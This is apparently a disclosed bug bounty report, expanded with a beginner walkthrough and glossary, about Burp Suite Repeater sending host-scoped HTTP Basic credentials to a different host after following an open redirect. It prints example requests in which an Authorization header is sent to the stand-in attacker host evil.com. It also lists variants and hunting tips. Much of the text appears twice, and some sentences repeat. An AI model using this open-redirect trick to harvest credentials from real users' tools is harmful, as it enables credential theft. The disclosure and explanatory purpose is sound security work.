Leak of Platform Authentication credentials via Repeater
Burp Repeater leaks Platform Authentication (HTTP Basic) credentials when following a redirection to a different host. An attacker who controls the redirect target can capture the credentials by logging incoming Authorization headers.
- Triaged in 1 hour
- Fixed in 5 months
- Paid in 3 days
- Disclosed after 5 months
Burp Repeater leaks Platform Authentication (HTTP Basic) credentials when following redirections.
Steps to reproduce:
- Set up an open redirection on a site you control (
example.com). - Set up Platform Authentication for that same site. Use HTTP Basic auth and whatever credentials.
- Using Repeater, issue a request to the page with the open redirection:
GET /redirect.php?url=http://evil.com HTTP/1.1
Host: example.com
- Click on the
Follow redirectionbutton - Observe, helpless, as your HTTP Basic credentials are sent to
evil.com:
GET http://evil.com/ HTTP/1.1
Host: evil.com
Authorization: Basic dXNlcjpwYXNz
Note that there's nothing "unusual" about the steps to reproduce this, so it can easily happen completely by accident. On the attacker's side, exploiting this only requires logging any incoming Authorization headers.
Impact
Burp Suite users may inadvertently send Platform Authentication credentials to unrelated third parties. This is fundamentally very sensitive information, making this a rather nasty leak.
Context
Burp Suite's Repeater is the tool most testers use to take a single captured request, tweak it, and resend it over and over. It also has a Follow redirection button, which takes the Location header from a response and issues the next request automatically, so you do not have to copy the target into a new tab by hand.
Burp also has a feature called Platform Authentication, where you configure credentials (HTTP Basic, in this report) that Burp should attach to requests going to a particular host. The idea is that you authenticate once against a site and Burp keeps sending the credentials for you.
The report describes what happens when those two features meet: Repeater follows a redirection to a different host, and the Platform Authentication credentials configured for the original host go along with it.
Setup
The researcher needed two things under their own control:
- A site they control (
example.com) with an open redirection on it. - Platform Authentication configured for that same site, using HTTP Basic auth and arbitrary credentials.
The tool in use is Burp Suite (Repeater plus Platform Authentication). The report does not name a specific Burp version.
Finding it
The researcher's framing is that there is nothing unusual about the steps. Following a redirection in Repeater is an everyday action, and having Platform Authentication configured for a host you are testing is normal too. The bug is that the credentials scoped to example.com are attached to a request whose destination is evil.com, purely because Repeater followed a redirect there. From the tester's point of view the credentials leave the intended host silently, with no prompt and no visible warning.
Exploitation
Step 1: Prepare an open redirection
Set up an open redirection on a site you control (example.com). The redirect target is attacker-chosen through a query parameter, which is what makes the next step possible.
Step 2: Configure Platform Authentication
Set up Platform Authentication for that same site. Use HTTP Basic auth and whatever credentials. The captured header below decodes to user:pass, the example credentials used in the report.
Step 3: Issue the request through Repeater
Using Repeater, send a request to the page with the open redirection:
GET /redirect.php?url=http://evil.com HTTP/1.1
Host: example.com
The url parameter carries the destination the server will redirect to. The request itself is addressed to example.com, so this is exactly the kind of request Platform Authentication is meant to cover.
Step 4: Follow the redirection
Click on the Follow redirection button. Repeater takes the Location from the response and builds the next request from it.
Step 5: Observe the credentials leaving
The followed request goes to evil.com, and it carries the Authorization header that was configured for example.com:
GET http://evil.com/ HTTP/1.1
Host: evil.com
Authorization: Basic dXNlcjpwYXNz
The Authorization: Basic value is the Base64 encoding of the configured username and password. The important part is not the encoding but the destination: the header is now being sent to a host that has nothing to do with the credentials' scope. On the attacker's side, exploiting this only requires logging any incoming Authorization headers, so a plain request log on evil.com is enough to capture them.
Root cause
Platform Authentication credentials are scoped to a host, but when Repeater follows a redirection it carries the Authorization header over to the new destination instead of re-evaluating whether the credentials belong to that host. The redirect is the trigger: the original request is legitimate and correctly authenticated, and the leak happens on the hop that Repeater performs on the user's behalf. The report does not describe the internal implementation, so the precise place where the scope check is missing is not stated; it is likely that the followed request is built from the previous one, header included, without a host comparison against the Platform Authentication configuration.
Impact
Burp Suite users may inadvertently send Platform Authentication credentials to unrelated third parties. The researcher describes this as fundamentally very sensitive information and calls it a rather nasty leak.
The researcher stresses that this can happen completely by accident rather than requiring any deliberate misstep. Because following redirections is routine, the researcher stresses that this can happen completely by accident rather than requiring any deliberate misstep.
Fix
What it implies is that the followed request should not inherit Platform Authentication credentials when the destination host differs from the host the credentials were configured for; the scope check needs to apply to the redirected request, not only to the original one.
Variants to test
- Redirect to a different host. Configure Platform Authentication for host A, get A to redirect to host B, follow it in Repeater, and check whether the
Authorizationheader appears in the request to B. A positive result is the header present on the cross-host request. - Redirect to a different scheme or port on the same name. The report only shows a cross-host case, but the same question applies to any redirect where the destination is not the configured origin. A positive result is credentials sent to a destination outside the configured scope.
- Redirect chains. Follow a redirect that passes through an intermediate host before reaching the final one, and check each hop for the header. A positive result is the header appearing on any hop that is not the configured host.
- Other tools that follow redirects. The report is specific to Repeater; the same behaviour in any other component that replays a request after a redirect is worth checking in the same way.
Hunting notes
This class of bug lives in client-side tooling rather than in the target application: proxy, repeater and scanner features that store credentials or session material per host and then replay requests to somewhere else. During recon the signal is any feature that automatically follows a Location header, retries a request against a new origin, or attaches stored authentication on your behalf. The test is cheap: point a redirect at a host you can watch, follow it, and read your own logs.
The report shows the exact request that leaves the tool, with the Authorization header visible on a request addressed to evil.com, and notes that the attacker only needs to log incoming Authorization headers. That turns an abstract concern about credential handling into a concrete capture with no special attacker capability required.
What happened, in plain words
Burp Suite is a tool that security testers use to look at and change the traffic between a browser and a website. It has a feature called Repeater that lets you take one request, change it, and send it again and again. It also has a feature called Platform Authentication, where you store a username and password for a particular website so that Burp can add them to every request automatically.
This report shows that when Repeater follows a redirection to a different website, it takes the stored username and password for the original website along with it. So the credentials end up being sent to a website they were never meant for. The researcher calls this a leak of Platform Authentication credentials.
Background: the pieces involved
Before walking through the steps, here is what each piece is, for someone who has never used Burp.
- Burp Suite: a program that sits between your browser and the internet. It lets you see and edit the requests your browser sends and the responses it gets back. Think of it as a mailroom where you can open every letter, rewrite it, and send it on.
- Repeater: a part of Burp that holds one request so you can send it over and over, changing it each time. It is like having a draft message you can edit and resend without retyping the whole thing.
- Redirection: when a website answers a request by saying "not here, go to this other address instead". The answer includes a
Locationheader that tells the browser (or Burp) where to go next. It is like a shop assistant saying "we do not have that here, try the shop across the street". Follow redirectionbutton: a button in Repeater that reads theLocationheader from the response and automatically sends the next request to that address. Without it, you would have to copy the new address into a new tab yourself.- Platform Authentication: a Burp feature where you store credentials for a particular host. Burp then attaches those credentials to requests going to that host. The idea is that you log in once and Burp keeps sending the login for you.
- HTTP Basic authentication: a simple way for a client to prove who it is. The client sends an
Authorizationheader whose value is the wordBasicfollowed by the username and password joined with a colon and encoded in Base64. Base64 is just a way of writing data using letters and numbers; it is not encryption, and anyone can decode it. - Host: the name of the website in the request, such as
example.comorevil.com. Credentials are usually meant for one host only. - Open redirection: a feature on a website that takes a destination from the URL and redirects the visitor there, without checking whether that destination is allowed. It is like a receptionist who will send you to any address you name, even one outside the building.
The report does not name a specific Burp version.
Setup
The researcher needed two things that they controlled:
- A website they control (
example.com) that has an open redirection on it. - Platform Authentication configured for that same website, using HTTP Basic authentication and any username and password.
Why these two? The first gives a way to make a request to example.com that will bounce the visitor to another address. The second makes Burp store credentials for example.com so that it will attach them to requests going there. Together they set up the situation where a request starts at example.com and ends somewhere else.
Finding it
The researcher points out that there is nothing unusual about the steps. Following a redirection in Repeater is something testers do all the time, and having Platform Authentication set up for a host you are testing is also normal. The problem is that the credentials meant for example.com are attached to a request whose destination is evil.com, simply because Repeater followed a redirect there. From the tester's point of view, the credentials leave the intended host silently, with no prompt and no visible warning.
Exploitation
Step 1: Prepare an open redirection
Set up an open redirection on a website you control (example.com). The destination of the redirect is chosen by whoever writes the URL, through a query parameter. That is what makes the next step possible: you can make example.com send the visitor to any address you like.
Step 2: Configure Platform Authentication
Set up Platform Authentication for that same website. Use HTTP Basic authentication and whatever username and password you like. The captured header below decodes to user:pass, the example credentials used in the report.
Why this step? It tells Burp: whenever a request goes to example.com, add these credentials. That is the normal, intended behaviour, and it is exactly what makes the leak possible when the request later goes somewhere else.
Step 3: Issue the request through Repeater
Using Repeater, send a request to the page with the open redirection:
GET /redirect.php?url=http://evil.com HTTP/1.1
Host: example.com
Line by line:
GET /redirect.php?url=http://evil.com HTTP/1.1is the request line.GETmeans "give me this page"./redirect.phpis the page on the server.?url=http://evil.comis a parameter namedurlwhose value ishttp://evil.com; this is the destination the server will redirect to.HTTP/1.1is the version of the protocol being used.Host: example.comtells the server which website the request is for. This is the host that Platform Authentication is configured for, so Burp will attach the credentials to this request.- The blank line marks the end of the headers. There is no body in this request.
The request is addressed to example.com, so this is exactly the kind of request Platform Authentication is meant to cover. The url parameter carries the destination the server will redirect to.
Step 4: Follow the redirection
Click on the Follow redirection button. Repeater takes the Location from the response and builds the next request from it. In other words, it reads the "go to this address instead" instruction and sends a new request there automatically.
Step 5: Observe the credentials leaving
The followed request goes to evil.com, and it carries the Authorization header that was configured for example.com:
GET http://evil.com/ HTTP/1.1
Host: evil.com
Authorization: Basic dXNlcjpwYXNz
Line by line:
GET http://evil.com/ HTTP/1.1is the request line. This time the full addresshttp://evil.com/is used, and the request is going toevil.com.Host: evil.comconfirms the destination isevil.com, notexample.com.Authorization: Basic dXNlcjpwYXNzis the credential header.Basicsays which authentication scheme is used.dXNlcjpwYXNzis the Base64 encoding ofuser:pass. Base64 is not encryption; anyone who receives it can decode it back to the username and password.- The blank line ends the headers.
The important part is not the encoding but the destination: the header is now being sent to a host that has nothing to do with the credentials' scope. On the attacker's side, exploiting this only requires logging any incoming Authorization headers, so a plain request log on evil.com is enough to capture them. The attacker does not need to break any encryption or guess anything; they just need to write down what arrives.
Root cause
Platform Authentication credentials are scoped to a host, meaning they are meant for one host only. But when Repeater follows a redirection, it carries the Authorization header over to the new destination instead of checking again whether the credentials belong to that host. The redirect is the trigger: the original request is legitimate and correctly authenticated, and the leak happens on the hop that Repeater performs on the user's behalf.
The report does not describe the internal implementation, so the precise place where the scope check is missing is not stated. It is likely that the followed request is built from the previous one, header included, without comparing the new host against the Platform Authentication configuration.
Impact
Burp Suite users may inadvertently send Platform Authentication credentials to unrelated third parties. The researcher describes this as fundamentally very sensitive information and calls it a rather nasty leak.
The researcher stresses that this can happen completely by accident rather than requiring any deliberate misstep. Because following redirections is routine, the researcher stresses that this can happen completely by accident rather than requiring any deliberate misstep.
Fix
What it implies is that the followed request should not inherit Platform Authentication credentials when the destination host differs from the host the credentials were configured for; the scope check needs to apply to the redirected request, not only to the original one.
Variants to test
- Redirect to a different host. Configure Platform Authentication for host A, get A to redirect to host B, follow it in Repeater, and check whether the
Authorizationheader appears in the request to B. A positive result is the header present on the cross-host request. - Redirect to a different scheme or port on the same name. The report only shows a cross-host case, but the same question applies to any redirect where the destination is not the configured origin. A positive result is credentials sent to a destination outside the configured scope.
- Redirect chains. Follow a redirect that passes through an intermediate host before reaching the final one, and check each hop for the header. A positive result is the header appearing on any hop that is not the configured host.
- Other tools that follow redirects. The report is specific to Repeater; the same behaviour in any other component that replays a request after a redirect is worth checking in the same way.
Hunting notes
This class of bug lives in client-side tooling rather than in the target application: proxy, repeater and scanner features that store credentials or session material per host and then replay requests to somewhere else. During recon the signal is any feature that automatically follows a Location header, retries a request against a new origin, or attaches stored authentication on your behalf. The test is cheap: point a redirect at a host you can watch, follow it, and read your own logs.
The report shows the exact request that leaves the tool, with the Authorization header visible on a request addressed to evil.com, and notes that the attacker only needs to log incoming Authorization headers. That turns an abstract concern about credential handling into a concrete capture with no special attacker capability required.
Glossary
- Burp Suite: a program that sits between a browser and a website so you can see and change the requests and responses.
- Repeater: a part of Burp that holds one request so you can edit and resend it many times.
- Redirection: a response that tells the client to go to a different address instead, given in the
Locationheader. Locationheader: the part of a response that contains the address to go to next.Follow redirectionbutton: a button in Repeater that automatically sends the next request to the address in theLocationheader.- Platform Authentication: a Burp feature that stores credentials for a host and attaches them to requests going to that host.
- HTTP Basic authentication: a simple login method where the client sends an
Authorizationheader containing the username and password encoded in Base64. Authorizationheader: the part of a request that carries the credentials.- Base64: a way of writing data using letters and numbers; it is not encryption and can be decoded by anyone.
- Host: the name of the website in a request, such as
example.com. - Open redirection: a feature on a website that redirects to any address given in the URL, without checking whether it is allowed.
- Query parameter: the part of a URL after the
?, made of names and values, such asurl=http://evil.com. - Scope: the set of destinations that a piece of configuration, such as stored credentials, is meant to apply to.
- Origin: the combination of scheme, host and port that identifies where a request is going.
- Scheme: the first part of a URL, such as
httporhttps. - Port: a number that identifies a service on a host; for example,
80for plain HTTP and443for HTTPS. - Cross-host request: a request whose destination host is different from the one the credentials were configured for.
- Redirect chain: a series of redirections where each one leads to another.
- Recon: the early phase of testing where you look around to understand what a system does.
- Proxy: a program that sits between a client and a server and passes traffic between them, often with the ability to inspect or change it.
- Scanner: a tool that automatically sends requests to look for problems.
- Session material: data that proves you are logged in, such as cookies or tokens.
- Cookie: a small piece of data a website stores in your browser and that your browser sends back with later requests.
- Token: a piece of data, often a long string, that acts like a temporary password for a session or an API.
- API: a way for one program to talk to another, usually by sending requests and getting responses in a structured format.
- Information disclosure: a weakness where information that should stay private is revealed to someone who should not have it.
- Bounty: a payment made to a researcher for reporting a security problem.